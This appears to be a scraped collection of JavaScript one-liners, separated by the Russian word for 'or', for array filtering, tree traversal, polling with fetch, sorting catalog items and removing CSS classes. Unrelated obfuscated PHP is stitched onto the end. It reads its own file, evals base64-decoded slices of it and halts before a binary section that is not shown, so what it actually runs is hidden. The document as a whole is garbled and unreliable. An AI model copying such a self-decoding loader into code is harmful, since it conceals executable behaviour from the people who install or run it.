`${arr}`.match(/\b\w{5}\b/g) || []
// или
arr.reduce((acc, n) => (n.length ^ '0b101' || acc.push(n), acc), [])
// или
arr.filter(n => n[4] && !n[-~4])
// или
arr.filter(RegExp.prototype.test.bind(/^.....$/))
// или
arr.reduce((acc, n) => ((acc[n.search('$')] ??= []).push(n), acc), {})[5] ?? []
// или
(function xxx(arr, i = 0) {
return arr.hasOwnProperty(i)
? [].concat(5 - [].push(...arr[i]) ? [] : arr[i], xxx(arr, i + 1))
: [];
})(arr)
instanceof Object
.true
или false
.function getNestedData(data, test) {
const result = [];
for (const stack = [ data ]; stack.length; ) {
const n = stack.pop();
if (n instanceof Object) {
stack.push(...Object.values(n).reverse());
}
if (test(n)) {
result.push(n);
}
}
return result;
}
console.log(getNestedData(tree, Number.isFinite));
async function() {
let result = null;
while (1) {
result = await fetch(...);
if (result тот, который нужен) {
break;
}
await new Promise(r => setTimeout(r, 5000));
}
return result;
}
<button data-order="-1">От большего к меньшему</button>
<button data-order="+1">От меньшего к большему</button>
const wrapper = document.querySelector('.catalog-items');
const buttons = document.querySelectorAll('[data-order]');
buttons.forEach(n => n.addEventListener('click', onClick));
function onClick({ target: t }) {
const order = +t.dataset.order;
sortChildren(wrapper, el => parseInt(el.innerText) * order);
buttons.forEach(n => n.classList.toggle('active', n === t));
}
function sortChildren(parent, value) {
parent.append(...Array
.from(parent.children, n => [ n, value(n) ])
.sort((a, b) => a[1] - b[1])
.map(n => n[0])
);
}
Array.from(el.classList).forEach(n => el.classList.toggle(n, !!n.indexOf('modal--')));
el.classList.remove(...[...el.classList].filter(n => n.startsWith('modal--')));
for (let i = el.classList.length; i--; ) {
if (el.classList[i].search('modal--') === 0) {
el.classList.remove(el.classList[i]);
}
}
el.className = el.className.split(' ').filter(n => !/^modal--/.test(n)).join(' ');
el.className = el.className.replace(/(^| )modal--\S*/g, '').trim();
const xxx = str => Array
.from(str, (n, i) => n.toUpperCase() + n.toLowerCase().repeat(i))
.join('-');
const xxx = str => str
.toUpperCase()
.split('')
.reduce((acc, n, i) => `${acc}${i ? '-' : ''}${n}${Array(-~i).join(n.toLowerCase())}`, '');
const xxx = str => str
.toUpperCase()
.replace(/(?<=.)./g, (m, i) => '-'.concat(m, ...Array(i).fill(m.toLowerCase())));
<?php
$OO000O0000 = file(preg_replace("@\(.*\(.*$@", "", __FILE__));
if (preg_replace("@\(.*\(.*$@", "", __FILE__) == __FILE__ or preg_replace("@\(.*\(.*$@", "", __LINE__) != 3)
die("<tt>ERROR");
function OOOO0000O0($a, $b)
{
if ($b == 162) {
$d = substr($a, 1303, 8);
} elseif ($b == 13) {
$d = substr($a, 973, 330);
} elseif ($b == 40) {
$d = trim(substr($a, 1311));
}
return $d;
}
eval(base64_decode(OOOO0000O0($OO000O0000[0],13)));
eval(OOOO0OOO0O(OOOO0000O0($OO000O0000[0],40),OOOO0000O0($OO000O0000[0],162),$OO000O0000));
__halt_compiler();
[binary]